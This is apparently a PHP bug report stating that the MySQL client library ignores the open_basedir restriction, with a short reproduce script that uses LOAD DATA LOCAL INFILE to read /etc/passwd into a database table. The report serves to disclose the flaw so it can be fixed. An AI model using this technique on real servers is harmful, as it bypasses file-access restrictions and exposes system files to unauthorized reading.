Description:
------------
As already mentioned in PHP Bugs Bug #28632 and Bug #23779, mysqllib still isn't respecting open_basedir. So opening of any files in the local filesystem is possible.

Normally, this should have been fixed in PHP 4.3.8, but the exploit still works.

Reproduce code:
---------------
<?php

$ressource = mysql_connect('host', 'user', 'password');
$db_selected = mysql_select_db('db', $ressource);
$result = mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE
passwd");
if (!$result) die('MySQL Error: ' . mysql_error());
mysql_close($ressource);

?>

Expected result:
----------------
Access denied error or command not allowed.

Actual result:
--------------
The file /etc/passwd will be inserted into the table passwd.